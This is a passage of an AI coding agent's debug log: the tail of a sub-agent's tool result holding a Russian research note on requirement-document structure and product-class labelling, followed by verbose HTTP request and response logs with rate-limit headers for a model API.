\u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u2265 6 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 |\\n| `F-MIXED` | 3 | \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0435\u0441\u0442\u044c, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u0430\u044f |\\n| `F-SHORT` | 1 | \u2264 3 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 |\\n\\n\u0424\u043e\u0440\u043c\u0430\u0442 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u2014 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f. \u041d\u0438 \u043e\u0434\u0438\u043d\\n\u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u0432\u0445\u043e\u0434\u0435, \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435.\\n\\n## 6. \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435\\n\\n\u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u0442\u0435\u043a\u0441\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u043a\u043b\u0430\u0441\u0441\u0430.\\n\\n| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 |\\n| --- | --- |\\n| `contact-center` | 15 |\\n| `billing-finance` | 15 |\\n| `voice-ucaas` | 14 |\\n| `analytics-reporting` | 12 |\\n| `integration` | 12 |\\n| `self-service-lk` | 11 |\\n\\n\u0427\u0438\u0441\u043b\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u0437\u0430\u043c\u0435\u0440 \u043b\u0435\u043a\u0441\u0438\u043a\u0438, \u0447\u0435\u043c \u043d\u0430 \u0437\u0430\u043c\u0435\u0440 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u0430: \u043f\u043e\u0447\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u0439\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043f\u043e\u0447\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u043e\u043c. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043e\u0442\u0441\u044e\u0434\u0430 \u043e\u0434\u0438\u043d \u0438 \u043e\u043d\\n\u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u2014 **\u043a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u0434\u0430\u0451\u0442 \u0447\u0438\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0432\u044b\u0431\u043e\u0440\u043e\u043a**. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u0430\u043b\u043e\u043d \u0438\u043d\u0434\u0443\u043a\u0446\u0438\u0435\u0439 \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0441\\n\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439\u00bb. \u042d\u0442\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0437\u0430 Golden Set,\\n\u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 3 issue #561, \u0430 \u043d\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0435.\\n\\n## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n- \u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0438 \u043b\u0435\u043a\u0441\u0438\u043a\u0443, \u043e\u0431\u0435\\n  \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e \u0441\u043f\u0438\u0441\u043a\u0443 \u0438\u0437 17 \u0444\u0430\u0439\u043b\u043e\u0432; \u043b\u043e\u0436\u043d\u044b\u0445\\n  \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c, \u043b\u043e\u0436\u043d\u044b\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\\n  \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043d\u0435\u043b\u044c\u0437\u044f.\\n- \u0421\u043b\u043e\u0442 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443 `SLOT_RULES`. \u0420\u0430\u0437\u0434\u0435\u043b \u0441\u043e\\n  \u0441\u043c\u0435\u0448\u0430\u043d\u043d\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0424\u0422 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 UI) \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 \u2014\\n  \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442 \u0435\u0433\u043e.\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 \u043c\u0430\u043b\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0430 3 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a\\n  \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u0443\u0441\u0435, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430: \u043f\u0440\u0438 17 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f\u0445 \u00ab17 \u0438\u0437 17\\n  \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u00bb \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e, \u0430 \u0434\u043e\u043b\u0438 \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u2014 \u043d\u0435\u0442.\\n- \u041a\u043e\u0440\u043f\u0443\u0441 \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0441\u043f\u0438\u0446\u0430 (Mango). \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435\\n  \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u044d\u0442\u0438\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n\\n## 8. \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n\\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440:\\n[`research/ba-requirements/exp/ba-micro-structure-561/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-micro-structure-561).\",\n[2026-09-29T07:45:01.758Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:01.758Z] [INFO]       }\n[2026-09-29T07:45:01.758Z] [INFO]     ]\n[2026-09-29T07:45:01.758Z] [INFO]   },\n[2026-09-29T07:45:01.758Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"uuid\": \"fa631504-24d0-442a-bfe1-c7b07abb3ef7\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:01.735Z\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:01.758Z] [INFO] }\n[2026-09-29T07:45:01.774Z] [STDOUT] [log_9a53e7] sending request {\n[2026-09-29T07:45:01.778Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:01.784Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:01.787Z] [STDOUT]   options: {\n[2026-09-29T07:45:01.791Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:01.794Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:01.796Z] [STDOUT]     body: {\n[2026-09-29T07:45:01.798Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:01.801Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:01.805Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:01.808Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:01.810Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:01.812Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:01.816Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:01.819Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:01.834Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:01.851Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:01.870Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:01.893Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:02.411Z] [STDOUT]     },\n[2026-09-29T07:45:02.458Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:02.480Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:02.489Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:02.493Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:02.499Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:02.504Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:02.507Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:02.509Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:02.517Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:02.521Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:02.525Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:02.528Z] [STDOUT]     },\n[2026-09-29T07:45:02.536Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:02.540Z] [STDOUT]   },\n[2026-09-29T07:45:02.545Z] [STDOUT]   headers: {\n[2026-09-29T07:45:02.559Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:02.568Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:02.574Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:02.596Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:02.607Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:02.658Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:02.912Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:03.286Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:03.304Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:03.359Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:03.369Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:03.388Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1315;Bash=2349\",\n[2026-09-29T07:45:03.418Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:03.492Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:03.504Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:03.513Z] [STDOUT]     \"x-client-request-id\": \"2ca54e34-5754-4cc1-ab56-56c80e70f972\",\n[2026-09-29T07:45:03.517Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:03.523Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:03.529Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:03.536Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:03.559Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:03.578Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:03.591Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:03.600Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:03.606Z] [STDOUT]   },\n[2026-09-29T07:45:03.613Z] [STDOUT] }\n[2026-09-29T07:45:03.627Z] [STDOUT] [log_3412d4, request-id: \"req_011CfXMj16CT4W1cTcDTQTmk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 958ms\n[2026-09-29T07:45:03.635Z] [STDOUT] [log_3412d4] response start {\n[2026-09-29T07:45:03.650Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:03.663Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:03.673Z] [STDOUT]   headers: {\n[2026-09-29T07:45:03.683Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:03.689Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:03.692Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:03.698Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:03.702Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:03.707Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:03.712Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:03.720Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:03.734Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:03.747Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:03.755Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:03.774Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:03.792Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:03.808Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:03.817Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:03.838Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:03.846Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:03.873Z] [STDOUT]     \"cf-ray\": \"a4295dacff1f4d8b-FRA\",\n[2026-09-29T07:45:03.877Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:03.881Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:03.884Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:03.886Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:03.889Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:01 GMT\",\n[2026-09-29T07:45:03.894Z] [STDOUT]     \"request-id\": \"req_011CfXMj16CT4W1cTcDTQTmk\",\n[2026-09-29T07:45:03.896Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:03.901Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:03.907Z] [STDOUT]     traceresponse: \"00-a0ca417e7634e85c4185bcdcdbaee807-deac87228ec062a2-01\",\n[2026-09-29T07:45:03.913Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:03.921Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:03.925Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:03.929Z] [STDOUT]   },\n[2026-09-29T07:45:03.936Z] [STDOUT]   durationMs: 958,\n[2026-09-29T07:45:03.944Z] [STDOUT] }\n[2026-09-29T07:45:03.951Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:03.965Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:01 GMT\",\n[2026-09-29T07:45:03.971Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:03.977Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:03.983Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:03.988Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:03.994Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:04.004Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:04.025Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:04.045Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:04.051Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:04.054Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:04.062Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:04.071Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:04.076Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:04.081Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:04.087Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:04.092Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.094Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:04.100Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:04.108Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:04.112Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:04.117Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.126Z] [STDOUT]   \"request-id\": \"req_011CfXMj16CT4W1cTcDTQTmk\",\n[2026-09-29T07:45:04.131Z] [STDOUT]   \"traceresponse\": \"00-a0ca417e7634e85c4185bcdcdbaee807-deac87228ec062a2-01\",\n[2026-09-29T07:45:04.136Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:04.141Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:04.147Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:04.162Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:04.167Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:04.171Z] [STDOUT]   \"cf-ray\": \"a4295dacff1f4d8b-FRA\",\n[2026-09-29T07:45:04.175Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:04.182Z] [STDOUT] [log_3412d4] response parsed {\n[2026-09-29T07:45:04.191Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:04.199Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:04.206Z] [STDOUT]   body: X {\n[2026-09-29T07:45:04.210Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:04.215Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:04.218Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:04.224Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:04.228Z] [STDOUT]     },\n[2026-09-29T07:45:04.235Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:04.240Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:04.244Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:04.247Z] [STDOUT]   },\n[2026-09-29T07:45:04.249Z] [STDOUT]   durationMs: 959,\n[2026-09-29T07:45:04.257Z] [STDOUT] }\n[2026-09-29T07:45:04.271Z] [STDOUT] [log_9a53e7, request-id: \"req_011CfXMj4W5cTKZteH4RsNHw\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 885ms\n[2026-09-29T07:45:04.276Z] [STDOUT] [log_9a53e7] response start {\n[2026-09-29T07:45:04.286Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:04.296Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:04.316Z] [STDOUT]   headers: {\n[2026-09-29T07:45:04.336Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:04.370Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:04.391Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:04.424Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:04.437Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:04.445Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.454Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:04.464Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:04.475Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:04.572Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:04.603Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:04.608Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:04.615Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:04.623Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.636Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:04.662Z] [STDOUT]     \"cache-control\": 